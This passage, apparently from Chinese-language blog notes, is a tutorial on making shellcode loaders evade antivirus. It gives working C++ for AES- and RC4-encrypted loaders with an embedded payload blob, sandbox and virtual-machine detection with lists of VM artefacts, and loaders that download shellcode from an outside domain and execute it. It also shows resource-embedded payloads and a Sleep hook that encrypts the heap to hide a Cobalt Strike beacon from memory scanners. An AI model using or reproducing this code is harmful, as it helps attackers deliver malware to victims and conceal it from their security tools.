#include <sstream>
#include <iomanip>
#include <Windows.h>
#include <tchar.h>

string EncryptionAES(const string& strSrc, const char* g_key, const char* g_iv);

string DecryptionAES(const string& strSrc, const char* g_key, const char* g_iv);

string random_string(size_t length);

string toHexString(unsigned char* data, size_t len);

tools.cpp

#include "tools.h"
#define BUF_SIZE 4096

using namespace std;

string EncryptionAES(const string& strSrc, const char* g_key, const char* g_iv) {
size_t length = strSrc.length();
int block_num = length / BLOCK_SIZE + 1;
//明文
char* szDataIn = new char[block_num * BLOCK_SIZE + 1];
memset(szDataIn, 0x00, block_num * BLOCK_SIZE + 1);
strcpy(szDataIn, strSrc.c_str());

//进行PKCS7Padding填充。
int k = length % BLOCK_SIZE;
int j = length / BLOCK_SIZE;
int padding = BLOCK_SIZE - k;
for (int i = 0; i < padding; i++)
{
szDataIn[j * BLOCK_SIZE + k + i] = padding;
}
szDataIn[block_num * BLOCK_SIZE] = '\0';

//加密后的密文
char* szDataOut = new char[block_num * BLOCK_SIZE + 1];
memset(szDataOut, 0, block_num * BLOCK_SIZE + 1);

//进行进行AES的CBC模式加密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
string str = base64_encode((unsigned char*)szDataOut,
block_num * BLOCK_SIZE);
delete[] szDataIn;
delete[] szDataOut;
return str;
};

string DecryptionAES(const string& strSrc, const char* g_key, const char* g_iv) {
string strData = base64_decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);

//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}

string random_string(size_t length)
{
auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"!@#$%^&*()_+=-[]{};:,.<>/?|";
const size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
string str(length, 0);
generate_n(str.begin(), length, randchar);
return str;
}

string toHexString(unsigned char* data, size_t len)
{
ostringstream oss;
for (size_t i = 0; i < len; ++i)
oss << hex << setw(2) << setfill('0') << static_cast<int>(data[i]);
return oss.str();
}

shellcode_enc.cpp 用于生成key与iv,并将shellcode加密

#include <iostream>
#include "tools.h"

using namespace std;

int main() {
unsigned char buf[] = "shellcode is here";

//生成随机16位的key值和iv值
srand(time(0)); // initialize random seed
string g_key = random_string(16);
string g_iv = random_string(16);
cout << "[+]key值: " << g_key << endl;
cout << "[+]iv值: " << g_iv << endl;

//将shellcode字节数组转换成十六进制字符串
size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1;
string OriginalShellcode = toHexString(buf, bufLen);
cout << "[+]未加密的shellcode: " << OriginalShellcode << endl;
//对shellcode字符串进行加密
string EncryptShellcode = EncryptionAES(OriginalShellcode, g_key.c_str(), g_iv.c_str());
cout << "[+]加密后的shellcode: " << EncryptShellcode << endl;
//对加密后的shellcode字符串进行解密
string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str());
cout << "[+]解密后的shellcode: " << DecryptShellcode << endl;
return 0;
}

image-20240410231122463

然后在main.cpp中进行解密与加载shellcode

main.cpp

#include <Windows.h>
#include <stdio.h>
#include "AES.h"
#include "Base64.h"
#include "tools.h"

using namespace std;

int main() {
char g_key[17] = "o+aMJ3dY7Wy&v<Me"; //填写key密钥
char g_iv[17] = "cz-ax@RDj].62{c;"; //定义iv向量

// 加密后的shellcode
string buf = "HBqjD/JxIjs7hoFY+ujH2xb/7c9oOoHrxhRH84xVGjBV+Na0IdYACn4kPVd2Rnmb3Jk9Uxpsr8diLtRodIVWJOS1/qG0DG+YvNvc1sqhxNjRadalgWbDcIYhKVO8EGBM+5Sfluez/acKdyQjeRScESS9RyUxRgcd5Z1OOHDqmrTLKgXLsYxyFMRRD+Mq25LFMEzOxfUglIqi8OR74p4FMVf3Oinx2SxOfkglfQkcXvkUUdMfMb5nIhPv7IuPxJApPbF7zs8g/kbN6NgcI0CpCIxWu8epxAeRC2gqhgzCkV50iZDPzFXK5q+PP9STOdgzDI/xBnw2TmQGwnJIFgFbWZ69IpFImH5Lq3qniDzpQlV2wS0Q29tOR37rg+xLdyO5P2VVdEGOummQVjTQBKRJ9tfme69kHuvPSvXMMtvH1UHfTy9fdDpnPqCYWAbp0wz1W34yZZpX0gJA1HRzTxR0Jo176UOY4EoqxLL5rLie1e1b198b0gWMi3FUosTHMP+1aGx2WJZONE8EVSFfGP8lEa3anQSx/J1ZrZheltCXJ6VKUMTUIA/yMT+2hIBcMUgG/W9wYgv9xWYFLryxqHVSD45bDlTewwQjI6uI1xLau8VP2abmJQLbJt4BxlEr1pCdzZl+slhpDkT8lOD/u82/rMymdedmgMVJMnOG8B9cdK4ilzY9dR1jQGZS4PVwg0gvZbPz7pVlLpHfj5qnD4c3k5BdcvFS+Z+XbCLE5+R7AuU=";
// 解密shellcode
string strbuf = DecryptionAES(buf, g_key, g_iv);

//将解密的shellcode放到shellcode数组中
char* p = (char*)strbuf.c_str();
unsigned char* shellcode = (unsigned char*)calloc(strbuf.length() / 2, sizeof(unsigned char));

// 两字节的输入到shellcode地址中,所以长度为一半
for (size_t i = 0; i < strbuf.length() / 2; i++) {
sscanf(p, "%02x", &shellcode[i]);
p += 2;
}

//输出shellcode数组里的内容
int ShellcodeSize = strbuf.length() / 2;

printf("[+]Decrypted buffer:\n");
for (int i = 0; i < ShellcodeSize; i++) {
printf("\\x%02x", shellcode[i]);
}

char *Memory;
Memory = (char *)VirtualAlloc(NULL, sizeof(ShellcodeSize), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy(Memory, shellcode, sizeof(ShellcodeSize));
RtlMoveMemory(Memory, shellcode, ShellcodeSize);
((void(*)())Memory)();

return 0;
}

rc4

#include <Windows.h>
#include <stdio.h>

using namespace std;

#define size_b 256
unsigned char sbox[257] = { 0 };

//初始化s表
void init_sbox(unsigned char* key) {
unsigned int i, j, k;
int tmp;
for (i = 0; i < size_b; i++) {
sbox[i] = i;
}
j = k = 0;
for (i = 0; i < size_b; i++) {
tmp = sbox[i];
j = (j + tmp + key[k]) % size_b;
sbox[i] = sbox[j];
sbox[j] = tmp;
if (++k >= strlen((char*)key))k = 0;
}
}

//加解密函数
void enc_dec(unsigned char* key, unsigned char* data) {
int i, j, k, R, tmp;
init_sbox(key);

j = k = 0;
for (i = 0; i < strlen((char*)data); i++) {
j = (j + 1) % size_b;
k = (k + sbox[j]) % size_b;

tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;

R = sbox[(sbox[j] + sbox[k]) % size_b];

data[i] ^= R;
}
}

int main() {
unsigned char buf[] = "shellcode is here";
unsigned char key[] = "hacker_hack";

// 加密
enc_dec(key,buf);
printf("[+]加密: ");
for (size_t i = 0; i < sizeof(buf); i++)
{
printf("\\x%02x", buf[i]);
}

// 解密
enc_dec(key, buf);
printf("\n[+]解密: ");
for (size_t i = 0; i < sizeof(buf); i++)
{
printf("\\x%02x", buf[i]);
}

LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pMemory, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFree(pMemory, 0, MEM_RELEASE);
return 0;
}

反调试/沙箱/虚拟机

Windows对抗沙箱和虚拟机的方法总结

https://mp.weixin.qq.com/s/mBOfkXm-irfpNZ5PoIOe_w

虚拟机检测技术整理

沙箱

开机时间,temp文件数量,cpu数量,物理内存大小,硬盘大小,进程,注册表,usb连接记录,样本名称,微信/Google程序,命名管道通信,延时执行,加速检测

开机时间

void GetUpTime()
{
DWORD iRunTime = GetTickCount();
DWORD TestTime = 1800000; // 半个小时开机时间
if (iRunTime > TestTime) printf("[+]not vm\n");

const int Num1 = 1000;
const int Num2 = 1900;
time_t nowTime;
time(&nowTime);
time_t systemUpTime = nowTime - (iRunTime / Num1);
struct tm* timeInfo;
timeInfo = localtime(&systemUpTime);
printf("开机的时间: %d-%d-%d %02d:%02d:%02d", timeInfo->tm_year + Num2,
timeInfo->tm_mon + 1, timeInfo->tm_mday, timeInfo->tm_hour,
timeInfo->tm_min, timeInfo->tm_sec);
}

cpu数量,这里获取的是逻辑核数量

void GetCpu()
{
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
DWORD cpunumber = sysinfo.dwNumberOfProcessors;
DWORD cpumask = sysinfo.dwActiveProcessorMask;
if (cpunumber >= 4) printf("[+]not vm\n"); // 4个逻辑内核

cout << "[+]cpunumber " << cpunumber << endl;
cout << "[+]cpumask " << cpumask << endl;

}

物理内存大小

void GetRam()
{
MEMORYSTATUSEX meminfo;
meminfo.dwLength = sizeof(meminfo);
GlobalMemoryStatusEx(&meminfo);
DWORDLONG raminfo = meminfo.ullTotalPhys / 1024 / 1024;
if (raminfo > 3072) printf("[+]not vm\n"); // ram大于3G = 1024 * 3

cout << "[+]ramsize " << raminfo << endl;
}

硬盘大小,需要管理员权限

void GetDisk()
{
HANDLE hDrive;
GET_LENGTH_INFORMATION size;
DWORD lpBytes;

hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hDrive == INVALID_HANDLE_VALUE)
{
CloseHandle(hDrive);
cout << "[+]无法打开该磁盘" << endl;
}
DeviceIoControl(hDrive, IOCTL_DISK_GET_LENGTH_INFO, NULL, 0, &size, sizeof(GET_LENGTH_INFORMATION), &lpBytes, NULL);
CloseHandle(hDrive);
LONGLONG disksize = size.Length.QuadPart / 1073741824;
if (disksize > 100) printf("[+]not vm\n"); // 大于 100G

cout << "[+]disksize " << disksize << "G" << endl;
}

样本名称,有的沙箱会重命名样本

void GetFilename()
{
char currentProcessPath[MAX_PATH + 1];
GetModuleFileName(NULL, currentProcessPath, 200);
if (strstr(currentProcessPath, "shellcode.exe")) printf("[+]not vm\n"); // 没有重名

cout << "[+]filename " << currentProcessPath << endl;
}

usb连接记录 \HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR

void GetUsb()
{
HKEY hKey;
DWORD mountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\\\ControlSet001\\\\Enum\\\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (mountedUSBDevicesCount > 1) printf("[+]not vm\n"); // usb大于1

cout << "[+]usb " << mountedUSBDevicesCount << endl;
}

加速检测

#include <iostream>
#include <chrono>
#include <thread>

bool timeSleep() {
// 记录起始时间点
auto start = std::chrono::steady_clock::now();

// 休眠 10 秒钟
std::this_thread::sleep_for(std::chrono::seconds(10));

// 计算经过的时间
auto end = std::chrono::steady_clock::now() - start;

// 检查是否至少休眠了 10 秒钟
if (end >= std::chrono::seconds(10)) {
return true;
} else {
return false;
}
}

传参检测

#include <iostream>

int main(int argc, char* argv[]) {
if (argc >= 3) {
if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
LoadShellCode();
}
}
}

路径检测,微步的沙箱貌似存在正则对抗,目录是在 C:\\[A-Za-z0-9~!@#$%^&*()_+=\-,.\/;'\[\]\\|}{":?><]{7}\\ 所以直接规避该路径

void CheckWeibu()
{
char currentProcessPath[MAX_PATH + 1];
GetModuleFileName(NULL, currentProcessPath, MAX_PATH + 1);
string input(currentProcessPath);
regex pattern(R"(C:\\[A-Za-z0-9~!@#$%^&*()_+=\-,.\/;'\[\]\\|}{":?><]{7}\\shellcode\.exe)");
smatch matches;
// 符合微步路径
if (!strstr(currentProcessPath, "Windows"))
{
if (regex_search(input, matches, pattern)) MessageBox(0, "in weibu", "Caption", MB_OK);
}
cout << "[+]path " << currentProcessPath << endl;
}

命名管道通信

暂时挖坑,免杀手法收集

调试/虚拟机

浅谈反沙箱、反调试技术,这块简单记录下,毕竟是搞免杀的,又不是搞APT的。

可能存在的进程名

Vmtoolsd.exe
Vmwaretrat.exe
Vmwareuser.exe
Vmacthlp.exe
vboxservice.exe
vboxtray.exe

注册表

HKLM\SOFTWARE\Vmware Inc\Vmware Tools
HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions

硬盘文件

C:\windows\System32\Drivers\Vmmouse.sys
C:\windows\System32\Drivers\vmtray.dll
C:\windows\System32\Drivers\VMToolsHook.dll
C:\windows\System32\Drivers\vmmousever.dll
C:\windows\System32\Drivers\vmhgfs.dll
C:\windows\System32\Drivers\vmGuestLib.dll

C:\windows\System32\Drivers\VBoxMouse.sys
C:\windows\System32\Drivers\VBoxGuest.sys
C:\windows\System32\Drivers\VBoxSF.sys
C:\windows\System32\Drivers\VBoxVideo.sys
C:\windows\System32\vboxdisp.dll
C:\windows\System32\vboxhook.dll
C:\windows\System32\vboxoglerrorspu.dll
C:\windows\System32\vboxoglpassthroughspu.dll
C:\windows\System32\vboxservice.exe
C:\windows\System32\vboxtray.exe
C:\windows\System32\VBoxControl.exe

服务

VMTools
Vmrawdsk
Vmusbmouse
Vmvss
Vmscsi
Vmxnet
vmx_svga
Vmware Tools

MAC前缀

00:05:69 (Vmware)
00:0C:29 (Vmware)
00:1C:14 (Vmware)
00:50:56 (Vmware)
08:00:27 (VirtualBox)

分离静态免杀

这里shellcode用的是hex类型

fc4883e4f0e8c00000004151415052515648...

本地读取

本地文件读取shellcode -> 分配内存 -> 内存执行,肯定要搭配其他手法,比如shellcode加密、动态API调用。

静态免杀版,用的 lazy_importer 项目:

#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include "lazy_importer.hpp"

using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

int main() {
ifstream ifs;
ifs.open("sss.txt", ios::in);
if (!ifs.is_open()) { cout << "[-]open fail" << endl; return -1; }

string line;
getline(ifs, line);
ifs.close();

const size_t length = line.length() / 2; // 字节长度
unsigned char* buffer = (unsigned char*)malloc(length);

// 调用函数将十六进制字符串转换为字节型数组
hexStringToBytes(line, buffer, length);
char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, length);
((void(*) ())exec)();

return 0;
}

另外在测试时候,发现代码顺序竟然影响免杀效果。

image-20240505180337646

远程加载

三种建立http/https的连接方法

  1. winnet
  2. winhttp
  3. socket

winnet

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include "lazy_importer.hpp"

using namespace std;

// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);

// 打开一个与互联网的连接
hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}

// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}

// 查询HTTP响应头中的内容长度
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
std::vector<char> hexBuffer(contentLength + 1, 0);

// 读取URL返回的内容到hexBuffer中
if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
buffer.resize(bytesRead / 2);
// 将十六进制字符串转换为字节型数组
hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
}

InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return bytesRead / 2;
}

int main() {
LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";
std::vector<unsigned char> buffer;
size_t size = GetUrl_HexContent(url, buffer);
char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer.data(), size);
((void(*) ())exec)();

return 0;
}

socket静态免杀版,同样使用 lazy_importer

#include <winsock2.h>
#include <windows.h>
#include <string>
#include <iostream>
#include "lazy_importer.hpp"

using namespace std;
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

char* readUrl(const char* szUrl, long& fileSize)
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
cerr << "WSAStartup failed." << endl;
return nullptr;
}

string server, filepath;
size_t pos = string(szUrl).find("://");
if (pos != string::npos)
{
string url = string(szUrl).substr(pos + 3);
pos = url.find('/');
server = url.substr(0, pos);
filepath = (pos != string::npos) ? url.substr(pos) : "/";
}

SOCKET conn = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (conn == INVALID_SOCKET)
{
WSACleanup();
return nullptr;
}

struct hostent* hp = gethostbyname(server.c_str());
if (hp == NULL)
{
closesocket(conn);
WSACleanup();
return nullptr;
}

struct sockaddr_in serverAddr;
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(80);
memcpy(&serverAddr.sin_addr, hp->h_addr, hp->h_length);

if (connect(conn, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR)
{
closesocket(conn);
WSACleanup();
return nullptr;
}

string getRequest = "GET " + filepath + " HTTP/1.0\r\nHost: " + server + "\r\n\r\n";
if (send(conn, getRequest.c_str(), getRequest.length(), 0) == SOCKET_ERROR)
{
closesocket(conn);
WSACleanup();
return nullptr;
}

char readBuffer[512];
string responseData;
while (true)
{
int bytesRead = recv(conn, readBuffer, sizeof(readBuffer), 0);
if (bytesRead <= 0)
break;
responseData.append(readBuffer, bytesRead);
}

int headerEndPos = responseData.find("\r\n\r\n");
if (headerEndPos == string::npos)
{
closesocket(conn);
WSACleanup();
return nullptr;
}

fileSize = responseData.length() - headerEndPos - 4;
char* result = new char[fileSize + 1];
memcpy(result, responseData.c_str() + headerEndPos + 4, fileSize);
result[fileSize] = '\0';

closesocket(conn);
WSACleanup();
return result;
}

const char* concat(const char* str1, const char* str2) {
size_t len1 = strlen(str1);
size_t len2 = strlen(str2);
size_t len_total = len1 + len2;
char* result = new char[len_total + 1];
memcpy(result, str1, len1);
memcpy(result + len1, str2, len2);
result[len_total] = '\0';
return result;
}

unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

int main()
{
const char* str1 = "http";
const char* str2 = "://hwm-china.com/ssss.txt";

const char* szUrl = concat(str1, str2);
long fileSize;
string data = readUrl(szUrl, fileSize);

const size_t length = data.size() / 2; // 字节长度

unsigned char* exec = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 调用函数将十六进制字符串转换为字节型数组
hexStringToBytes(data, exec, length);
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)exec, NULL);

return 0;
}

效果:

image-20240505214645485

image-20240507110929004

资源释放

免杀-绕过静态动态查杀 - mykr3

某0资源释放免杀

就是往项目资源里添加东西,然后释放资源,再做个shellcode loader

右键项目->添加->资源->导入->选择要导入的shellcode或者raw文件。这里用的calc的shellcode测试

image-20240506235315824

加个rc4

#include <winsock2.h>
#include"resource.h"
#include <windows.h>
#include <iostream>
#include "lazy_importer.hpp"

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
using namespace std;
#define size_b 256
unsigned char sbox[257] = { 0 };

//初始化s表
void init_sbox(unsigned char* key) {
unsigned int i, j, k;
int tmp;
for (i = 0; i < size_b; i++) {
sbox[i] = i;
}
j = k = 0;
for (i = 0; i < size_b; i++) {
tmp = sbox[i];
j = (j + tmp + key[k]) % size_b;
sbox[i] = sbox[j];
sbox[j] = tmp;
if (++k >= strlen((char*)key))k = 0;
}
}

//加解密函数
void enc_dec(unsigned char* key, unsigned char* data) {
int i, j, k, R, tmp;
init_sbox(key);

j = k = 0;
for (i = 0; i < strlen((char*)data); i++) {
j = (j + 1) % size_b;
k = (k + sbox[j]) % size_b;

tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;

R = sbox[(sbox[j] + sbox[k]) % size_b];

data[i] ^= R;
}
}

unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

void hexToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

int main() {
HRSRC Png = FindResource(NULL, MAKEINTRESOURCE(IDR_MYRES1), "MYRES");
HGLOBAL LoadPng = LoadResource(NULL, Png);
DWORD PngSize = SizeofResource(NULL, Png);
LPVOID PngData = LockResource(LoadPng);


const size_t length = PngSize / 2; // 字节长度
unsigned char* mypng = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
char* charPtr = reinterpret_cast<char*>(PngData);
hexToBytes((string)charPtr, mypng, length);
unsigned char key[] = "baidu.com";
enc_dec(key, mypng);
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)mypng, NULL);
return 0;
}

效果:

image-20240507104803245

小结

总的来说,目前为止学会上面的 shellcode加载、shellcode加密、分离免杀后,搭配下面的 杂项 内容,基本动静态绕过360/火绒已经基本不是问题了。绕过QVM的主要方法就是添加资源、添加资源、还是TM的添加资源,尽量不要让程序太小,之前没有添加资源的时候编译出来200kb左右,很难直接免杀。火绒直接用远程拉取就行。

内存动态免杀

Avoiding Memory Scanners,文章提出三种扫描检测方向:

  1. 利用yara在内存中匹配cobalt strike相关字符串/字节
  2. 内存页面属性
  3. 堆栈跟踪

给出了几种bypass方向

  1. 动态堆加/解密
  2. 避免睡眠
  3. 属性修改
  4. 堆栈欺骗

前置知识

要在内存中免杀,首先要知道cs在内存中是怎么活动的或者说知道cs的 beacon 从生成到上线再到执行的整个流程。

文章:CobaltStrike逆向学习系列 Cobalt Strike原理介绍 CobaltStrike Beacon生成原理分析 Cobaltstrike4.0 shellcode分析

从流程中总结出内存特征

文章:从BeaconEye说起,围绕CS内存特征的检测与规避 如何正确的 “手撕” Cobalt Strike

最后根据特征bypass。

动态堆加/解密

minhook

一个用于hook winapi的稳定库,下载Releases中的lib.zip,TsudaKageyu/minhook: The Minimalistic x86/x64 API Hooking Library for Windows

项目中新建include、libs文件夹,如下结构

image-20240508093423537

并添加目录进行引用

image-20240508093253085

image-20240508093345168

测试

image-20240508093500489

思路

  1. hook Sleep()
  2. 运行shellcode上线
  3. 触发MyHookedSleep()
  4. 挂起进程
  5. 加密当前线程的所有堆空间
  6. Sleep()
  7. 解密当前线程的所有堆空间
  8. 恢复进程

解决

直接给出代码,Ref:waldo-irc/LockdExeDemo

#include <Windows.h>
#include <MinHook.h>
#include <iostream>
#include "lazy_importer.hpp"

#include "Thread.h"
using namespace std;

#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v141-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v141-mt.lib")
#endif

/*-------------------------define hook func----------------------------------*/
void (WINAPI* OldSleep)(DWORD dwMiliseconds);
void (WINAPI MyHookedSleep)(DWORD dwMiliseconds);

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

BOOL Hook()
{
if (MH_Initialize() != MH_OK) { return false; }
if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; }
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; }
return true;
}

/*-------------------------encrypt heap--------------------------------------*/
const char key[9] = "Aoliao66"; // Encryption Key
size_t keySize = sizeof(key);

void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
for (size_t i = 0; i < length; ++i) {
buffer[i] ^= key[i % keyLength];
}
}

PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}

/*-------------------------my hook-sleep func--------------------------------*/
void WINAPI MyHookedSleep(DWORD dwMiliseconds)
{
DWORD time = dwMiliseconds;
if (time > 1000) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
HeapEncryptDecrypt();

OldSleep(dwMiliseconds);

HeapEncryptDecrypt();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
OldSleep(time);
}
}

int main()
{
if (!Hook()) { return 1; }
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode is here
const size_t length = sizeof(buf);
unsigned char* mypng = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mypng, buf, length);
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)mypng, NULL);

return 0;
}

编译好的BeaconEye:beaconeye,BeaconEye直接扫到

image-20240508130409497

处理后

image-20240508144113176

Ref:Hook Heaps and Live Free安全开发之堆分配内存加密【免杀】初探卡巴–堆加密

问题

这种方式的缺陷或者说比较丑陋的一点是将当前线程挂起,将当前进程所有heap加密,如果现在有注入到其他进程的需求,缺陷就体现的淋漓尽致,会导致宿主进程因为挂起而不稳定甚至崩溃。

属性修改

通过hook sleep后将恶意代码所在内存的属性修改为RW。

回顾

实现堆加密的目的就是要掩盖恶意代码在内存中的特征,如何在heap中精准定位shellcode?回顾beacon的加载流程为三步

  1. shellcode(stager)从c2拉取stage(加密beacon.dll)
  2. 开辟新空间,解密stage(beacon.dll)出反射DLL,并调用reflectiveloader
  3. 开辟新空间,将解密的beacon.dll复制到新空间,调用dllmain

image-20240508225544787

这里就能提出两个问题:

一、三步中都开辟了新空间,可以hook对应开辟空间的函数从而精准获得恶意代码内存地址,那么应该hook哪个函数?

二、能否扫描出heap空间特殊的内存属性?因为开辟的空间一定存在的特征是私有提交(private commit)、可执行(X)的属性

只要解决这两个问题就是两个不同的精准找内存的方法。

思路

这里简单说下两个问题的解决方法。

